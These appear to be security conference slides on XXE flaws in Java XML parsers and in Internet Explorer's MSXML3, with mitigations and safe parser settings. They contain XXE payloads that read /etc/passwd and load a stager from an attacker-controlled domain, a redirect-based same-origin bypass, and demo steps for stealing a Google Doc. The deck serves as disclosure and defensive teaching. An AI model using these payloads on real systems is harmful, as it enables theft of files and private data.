

FileCry - The New Age of XXE

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Agenda

- 0-days
 - Defunct XXE defense in Java
 - XXE in IE
- How we found these
- We need a bigger target! IE!
- Conclusions
- Q&A

Background

"All external parameter entities are well-formed by definition"

(<http://www.w3.org/TR/REC-xml/#sec-external-ent>)

XXE 101

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
```

Past Presentations

- OWASP 2010 - XXE Attack
- BH USA 2012 - XXE Tunneling in SAP
- BH EU 2013 - XML OOB Data retrieval
- DC 02139 - Advanced XXE Exploitation
- ...

Why Are We Still Here?

- Applications are built using 3rd party software
 - And run on 3rd party software
- Not only your apps that need the fix!
- Server and client tech that runs your app also need a fix!

“Safe” Factory Demo

UPLOAD THE FILE

FILE: Choose File No file chosen

Upload file

View the pretty print of an XML. Made with love.

```
public abstract class XMLInputFactory
extends Object
```

Defines an abstract implementation of a factory for getting streams. The following table defines the standard properties of this specification. Each property varies in the level of support required by each implementation. The level of support required is described in the 'Required' column.

Configuration parameters				
Property Name	Behavior	Return type	Default Value	Required
javax.xml.stream.isValidating	Turns on/off implementation specific DTD validation	Boolean	False	No
javax.xml.stream.isNamespaceAware	Turns on/off namespace processing for XML 1.0 support	Boolean	True (required) / False (optional)	
javax.xml.stream.isCoalescing	Requires the processor to coalesce adjacent character data	Boolean	False	Yes
javax.xml.stream.isReplacingEntityReferences	replace internal entity references with their replacement text and report them as characters	Boolean	True	Yes
javax.xml.stream.isSupportingExternalEntities	Resolve external parsed entities	Boolean	Unspecified	Yes
javax.xml.stream.supportDTD	Use this property to request processors that do not support DTDs	Boolean	True	Yes
javax.xml.stream.reporter	sets/gets the impl of the XMLReporter	javax.xml.stream.XMLReporter	Null	Yes
javax.xml.stream.resolver	sets/gets the impl of the XMLResolver interface	javax.xml.stream.XMLResolver	Null	Yes
javax.xml.streamallocator	sets/gets the impl of the XMLEventAllocator interface	javax.xml.stream.util.XMLEventAllocator	Null	Yes

Property Can Be Set To False...

```
XMLInputFactory inputFactory = XMLInputFactory.newInstance();
```

```
inputFactory.setProperty(  
    XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES,  
    false);
```

But...

That Did Not

Well formed XML: e

Malformed XML: ex
throw MalformedURLException



solved

sed the parser to
solve!

JDK Vuln Disclosed

Unspecified vulnerability in Oracle Java SE 6u81, 7u67, and 8u20; Java SE Embedded 7u60; and Jrockit R27.8.3 and R28.3.3 allows remote attackers to affect confidentiality via vectors related to JAXP.

Ways to Exfiltrate Data

- DNS OOB resolver
 - 63 char limit for subdomain name
 - Only letters, numbers and hyphen allowed
 - Space, \t seem to work okay
 - Cannot parse % & #, null
- XML exception printing
 - Does not have the above limitations!

Causing Exceptions

- file, ftp, http, gopher, https, mailto
- netdoc and jar are smarter
 - can resolve relative URI
 - local file

XMLStreamException

▼ L e	XMLStreamException (id=24)
▼ ■ cause	XMLStreamException (id=24)
► ■ cause	XMLStreamException (id=24)
► ■ detailMessage	"ParseError at [row,col]:[6,10]\nMessage
► ♦ location	XMLStreamReaderImpl\$1 (id=30)
► ♦ nested	MalformedURLException (id=33)
■ stackTrace	StackTraceElement[0] (id=36)
► ■ suppressedExceptions	Collections\$UnmodifiableRandomAccess
► ■ detailMessage	"ParseError at [row,col]:[6,10]\nMessage
► ♦ location	XMLStreamReaderImpl\$1 (id=30)
▼ ♦ nested	MalformedURLException (id=33)
▼ ■ cause	NullPointerException (id=46)
▼ ■ cause	NullPointerException (id=46)
► ■ cause	NullPointerException (id=46)
► ■ detailMessage	"invalid url: afpovertcp.cfg\naliases\\nali
■ stackTrace	StackTraceElement[0] (id=36)
► ■ suppressedExceptions	Collections\$UnmodifiableRandomAccess
java.net.MalformedURLException: invalid url: afpovertcp.cfg	

Showing Exceptions

file:///etc

```
javax.xml.stream.XMLStreamException: ParseError at [row,col]:[5,15]
Message: invalid url: afpovertcp.cfg
aliases
aliases.db
apache2
asl
asl.conf
auto_home
auto_master
autofs.conf
```

OWASP Covers

- JAXP DocumentBuilderFactory and SAXParserFactory
- Xerces 1 and 2
- StAX and XMLInputFactory

JDK Has Many Parsers...

- TransformerFactory
- Validator
- SchemaFactory
- Unmarshaller
- SAXTransformerFactory
- XPathExpression
- XMLReader

And More...

- Popular 3rd party libraries
 - org.apache.commons.digester.Digester
 - Woodstock
 - dom4j
 - XOM
 - OpenSAML
 - Apache Hadoop
 - ...

Mitigations

- Turn off external entities support
- Turn off external DTD fetching
- Turn off DTD

One Parser Is Not Like the Other

- W/o ability to turn off external entities/DTD as a feature
 - javax.xml.transform.TransformerFactory
 - javax.xml.validation.Validator
 - javax.xml.transform.sax.SAXTransformerFactory
- W/o features to set
 - javax.xml.bind.Unmarshaller
- Supporting a resolver
 - org.xml.sax.XMLReader
 - javax.xml.parsers.DocumentBuilder

Speaking of Resolvers

Eclipse Auto-generated Stub Does Nothing

```
public static void main(String[] args) throws SAXException, ParserConfigurationException {  
  
    XMLReader reader = SAXParserFactory.newInstance().newSAXParser().getXMLReader();  
  
    reader.setEntityResolver(new EntityResolver() {  
  
        @Override  
        public InputSource resolveEntity(String publicId, String systemId)  
            throws SAXException, IOException {  
            // TODO Auto-generated method stub  
            return null;  
        }  
    });  
}
```

Speaking of Resolvers (II)


SAFE

```
XMLReader reader = SAXParserFactory.newInstance().newSAXParser().getXMLReader();  
  
reader.setEntityResolver(new EntityResolver() {  
  
    @Override  
    public InputSource resolveEntity(String publicId, String systemId)  
        throws SAXException, IOException {  
        // TODO Auto-generated method stub  
        // return null; // fail  
        return new InputSource();  
    }  
});
```

If Everything Fails...

- DISABLE PROTOCOLS
 - *factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");*
 - disables protocols, e.g. http:, file:, jar:
- <http://openjdk.java.net/jeps/185>

Need Bigger Target!



Bigger Targets

- So far XXE is a Web attack
 - Let's replicate it on native application!
- What's an native app that is used by billions of users?
- Browsers
 - are used by a lot of people
 - parses a lot of XML

The History of Browser XXEs

- Chrome/Safari
 - libxml2 XXE fixed in 2012
 - CVE-2013-0339
- Firefox
 - expat XXE fixed in 2012
 - CVE-2013-0341
- IE
 - MSXML XXE fixed in 2006 with v6
 - v3 is still vulnerable

MSXML3.0

- IE6 is linked with v3
- But nobody is using IE6
- So how can we exploit the issue with newer IEs?

MSXML3.0

- Quirks mode
 - Maintains capability with older version of IEs
 - <meta http-equiv=X-UA-Compatible content="IE=6">

MSXML3.0

A living corpse still available in IE

Time of Day	Process Name	PID	Operation	Path
11:53:46.2644513 AM	iexplore.exe	3540	RegOpenKey	HKCU\Software\Classes\CLSID\{F5078F32-C551-11D3-89B9-0000F81FE221}
11:53:46.2644552 AM	iexplore.exe	3540	RegOpenKey	HKCR\CLSID\{F5078F32-C551-11D3-89B9-0000F81FE221}
11:53:46.2644616 AM	iexplore.exe	3540	RegCloseKey	HKCU\Software\Classes
11:53:46.2644643 AM	iexplore.exe	3540	RegQueryKey	HKCR\CLSID\{F5078F32-C551-11D3-89B9-0000F81FE221}
11:53:46.2644713 AM	iexplore.exe	3540	RegOpenKey	HKCU\Software\Classes\CLSID\{F5078F32-C551-11D3-89B9-0000F81FE221}\TreatAs
11:53:46.2644755 AM	iexplore.exe	3540	RegOpenKey	HKCR\CLSID\{F5078F32-C551-11D3-89B9-0000F81FE221}\TreatAs
11:53:46.2644849 AM	iexplore.exe	3540	RegCloseKey	HKCR\CLSID\{F5078F32-C551-11D3-89B9-0000F81FE221}
11:53:46.2646165 AM	iexplore.exe	3540	CreateFile	C:\Windows\System32\msxml3.dll
11:53:46.2647114 AM	iexplore.exe	3540	QueryBasicInfor...	C:\Windows\System32\msxml3.dll
11:53:46.2647156 AM	iexplore.exe	3540	CloseFile	C:\Windows\System32\msxml3.dll
11:53:46.2647748 AM	iexplore.exe	3540	CreateFile	C:\Windows\System32\msxml3.dll
11:53:46.2648363 AM	iexplore.exe	3540	CreateFileMapp...	C:\Windows\System32\msxml3.dll
11:53:46.2648561 AM	iexplore.exe	3540	CreateFileMapp...	C:\Windows\System32\msxml3.dll
11:53:46.2649301 AM	iexplore.exe	3540	Load Image	C:\Windows\System32\msxml3.dll
11:53:46.2649470 AM	iexplore.exe	3540	CloseFile	C:\Windows\System32\msxml3.dll
11:53:46.2650831 AM	iexplore.exe	3540	RegOpenKey	HKLM\Software\Microsoft\Msxml30
11:53:46.2651593 AM	iexplore.exe	3540	RegOpenKey	HKLM\Software\Microsoft\Msxml30

JavaScript XML parsing 101

- IE 6's way
 - `new ActiveXObject('MSXML').loadXML (xml);`
- IE 7+ and other browser's way
 - `new DOMParser().parseFromString (xml, "application/xml");`

Our Goals

- Exfiltrate data cross origin, breaching SOP
- Exfiltrate data on the disk, breaching web-native boundaries

Payload

Regular XML that tries to read cross origin, didn't work

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE export [
<!ELEMENT export (#PCDATA)>
<!ENTITY % loot SYSTEM "http://www.victim.com/">
<!ENTITY % stager SYSTEM "http://test.attacker-domain.com/xxe/
entity.xml">
%stager;
]>
<export>&all;</export>
```


Demo

Standard Payload Does Not Work

A screenshot of a web browser window. The address bar shows the URL `http://test.attacker-domain.com/sopbypass/fail.html?evil=https%3A%2F%2Fwww.google.com`. Below the address bar is a toolbar with icons for back, forward, search, and other browser functions. The main content area contains an XML document:

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE export [
<!ELEMENT export (#PCDATA)>
<!ENTITY % loot SYSTEM "https://www.google.com">
<!ENTITY % stager SYSTEM "http://test.attacker-domain.com/xxe/entity.xml">
%stager;
]>
<export>&all;</export>
```

Below the XML code is a "Parse" button. A large, empty rectangular area is positioned below the XML code, likely a placeholder for the parsed output.



Bypass

- Same Origin Policy blocked us
- How is same origin policy usually bypassed?
 - SVGs
 - setTimeOut
 - redirects

Modified Payload

Exfiltrate data cross-origin with redirects

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE export [
<!ELEMENT export (#PCDATA)>
<!ENTITY % loot SYSTEM “http://test.attacker-domain.com/redirect?site=http://www.victim.com/”>
<!ENTITY % stager SYSTEM "http://test.attacker-domain.com/xxe/entity.xml">
%stager;
]>
<export>&all;</export>
```

Demo

Cross-origin XXE in IE

Reading Disk Contents Remotely

test.attacker-domain.com/t x

test.attacker-domain.com/sopbypassloot

Secret Page

[DELETE ALL](#)

Name Content

Untitled — Edited

Helvetica Neue Regular 48

B I U

ATTACKER: Mac, Chrome
Victim: Windows, IE

Google Doc Theft

1. Setup: VM IE Victim, Logged into Google Drive;
2. Setup: Mac Chrome Attacker, on page
3. <http://test.attacker-domain.com/sopbypassloot>
4. https://docs.google.com/document/d/1W921qtcNFn2Ywptu6QlWiMqDXDC4RGmJkZJxX9xRd_0/edit
5. Verify the doc page is viewable on IE, but not on Chrome
6. Visit the following link on IE
7. http://test.attacker-domain.com/sopbypass/docshare.html?evil=https%3A%2F%2Fdocs.google.com%2Fdocument%2Fd%2F1W921qtcNFn2Ywptu6QlWiMqDXDC4RGmJkZJxX9xRd_0%2Fedit
8. Go back to Chrome, see content stolen
9. Go back to IE, and visit the following slow demo
10. <http://test.attacker-domain.com/sopbypass/docshare.html>
11. And enter the following doc URL
12. https://docs.google.com/document/d/1W921qtcNFn2Ywptu6QlWiMqDXDC4RGmJkZJxX9xRd_0/edit
13. See that the doc is loaded, and explain

at
015

test.attacker-domain.com/sopbypassloot

Secret Page

[DELETE ALL](#)

Name Content

Untitled — Edited

Helvetica Neue Regular 12pt

ATTACKER: Mac, Chrome,
Victim: Windows, IE

Google Doc Theft

1. Setup: VM IE Victim, Logged into Google Drive;
2. Setup: Mac Chrome Attacker, on page
3. <http://test.attacker-domain.com/sopbypassloot>
4. https://docs.google.com/document/d/1W921qtcNFn2Ywptu6QlWiMqDXDC4RGmJkZJxX9xRd_0/edit
5. Verify the doc page is viewable on IE, but not on Chrome
6. Visit the following link on IE
7. http://test.attacker-domain.com/sopbypass/docshare.html?evil=https%3A%2F%2Fdocs.google.com%2Fdocument%2Fd%2F1W921qtcNFn2Ywptu6QlWiMqDXDC4RGmJkZJxX9xRd_0%2Fedit
8. Go back to Chrome, see content stolen
9. Go back to IE, and visit the following slow demo
10. <http://test.attacker-domain.com/sopbypass/docshare.html>
11. And enter the following doc URL
12. https://docs.google.com/document/d/1W921qtcNFn2Ywptu6QlWiMqDXDC4RGmJkZJxX9xRd_0/edit
13. See that the doc is loaded, and explain

Attacks beyond IE

- MSXML3.0 is the vulnerable library
- It is not limited to just IE
- Doing a grep on the DLL import revealed a lot of other DLLs and binaries are using MSXML3.0
- They were all potentially vulnerable from the introduction of MSXML3.0 - in 2001
- 15 years!

Stuff that includes msxml3 directly

- 46 of them!
- Binary file /tmp/foo/Program Files/Common Files/System/Ole DB/en-US/sqlxmlx.rll.mui matches
- Binary file /tmp/foo/Program Files (x86)/Common Files/System/Ole DB/en-US/sqlxmlx.rll.mui matches
- Binary file /tmp/foo/Windows/System32/msxml3.dll matches
- Binary file /tmp/foo/Windows/System32/Speech/Common/en-US/sapi.dll.mui matches
- Binary file /tmp/foo/Windows/System32/Speech_OneCore/Common/sapi_oncore.dll matches
- Binary file /tmp/foo/Windows/System32/WMNetMgr.dll matches
- Binary file /tmp/foo/Windows/SysWOW64/msxml3.dll matches
- Binary file /tmp/foo/Windows/SysWOW64/Speech/Common/en-US/sapi.dll.mui matches
- Binary file /tmp/foo/Windows/SysWOW64/Speech_OneCore/Common/sapi_oncore.dll matches
- Binary file /tmp/foo/Windows/SysWOW64/WMNetMgr.dll matches
- Binary file /tmp/foo/Windows/WinSxS/amd64_microsoft-windows-m..qlxml-rll.resources_31bf3856ad364e35_6.4.9841.0_en-us_dafdbf0c481f3dfa/sqlxmlx.rll.mui matches
- Binary file /tmp/foo/Windows/WinSxS/amd64_microsoft-windows-mediaplayer-wmnetmgr_31bf3856ad364e35_6.4.9841.0_none_2e83887604bed993/WMNetMgr.dll matches
- Binary file /tmp/foo/Windows/WinSxS/amd64_microsoft-windows-msxml30_31bf3856ad364e35_6.4.9841.14_none_192e85341e404fc/msxml3.dll matches
- Binary file /tmp/foo/Windows/WinSxS/amd64_microsoft-windows-s..monnoia64.resources_31bf3856ad364e35_6.4.9841.0_en-us_3c4e127609d5b51b/sapi.dll.mui matches
- ...
- ...
- Binary file /tmp/foo/Windows/WinSxS/wow64_microsoft-windows-msxml30_31bf3856ad364e35_6.4.9841.14_none_23832f8652a111c6/msxml3.dll matches
- Binary file /tmp/foo/Windows/WinSxS/wow64_microsoft-windows-s..monnoia64.resources_31bf3856ad364e35_6.4.9841.0_en-us_46a2bcc83e367716/sapi.dll.mui matches
- Binary file /tmp/foo/Windows/WinSxS/x86_microsoft-windows-m..qlxml-rll.resources_31bf3856ad364e35_6.4.9841.0_en-us_7edf23888fc1ccc4/sqlxmlx.rll.mui

Stuff that includes msxml3 indirectly

- 187 of them!
- Binary file /tmp/foo/Windows/Microsoft.NET/assembly/GAC_MSIL/WsatConfig/v4.0_4.0.0.0__b03f5f7f11d50a3a/WsatConfig.exe
- Binary file /tmp/foo/Windows/Microsoft.NET/Framework/v4.0.30319/csc.exe
- Binary file /tmp/foo/Windows/Microsoft.NET/Framework/v4.0.30319/vbc.exe
- Binary file /tmp/foo/Windows/Microsoft.NET/Framework/v4.0.30319/WsatConfig.exe
- Binary file /tmp/foo/Windows/Microsoft.NET/Framework64/v4.0.30319/vbc.exe
- Binary file /tmp/foo/Windows/Microsoft.NET/Framework64/v4.0.30319/WsatConfig.exe
- Binary file /tmp/foo/Windows/Microsoft.NET/Framework64/v4.0.30319/csc.exe
- Binary file /tmp/foo/Windows/System32/SrTasks.exe
- Binary file /tmp/foo/Windows/System32/certutil.exe
- Binary file /tmp/foo/Windows/System32/cipher.exe
- Binary file /tmp/foo/Windows/System32/cleanmgr.exe
- Binary file /tmp/foo/Windows/System32/gpresult.exe
- Binary file /tmp/foo/Windows/System32/FXSUNATD.exe
- Binary file /tmp/foo/Windows/System32/ipconfig.exe
- Binary file /tmp/foo/Windows/System32/nltest.exe
- Binary file /tmp/foo/Windows/System32/nslookup.exe
- Binary file /tmp/foo/Windows/System32/recimg.exe
- ...
- Binary file /tmp/foo/Windows/System32/setupugc.exe
- ...
- Binary file /tmp/foo/Windows/System32/spoolsv.exe
- Binary file /tmp/foo/Windows/System32/vds.exe
- Binary file /tmp/foo/Windows/System32/vssadmin.exe

Limitations

- Victim file/site cannot contain <,%,>,null-byte
 - meaning most HTML pages are not vulnerable
 - The first few hundred characters are
 - JSON pages are
 - binary files are not vulnerable
 - Only works on Windows 7 and below
 - all IE versions though

Defenses

- Update to latest IE 11
 - Vuln patched in April 2015
- Use Windows 8 and up

Conclusions

- XXE is a severe category of vulnerabilities that deserves more attention
- Other languages and products could be vulnerable too
- XML parsing libraries should be secure by default

Contributions

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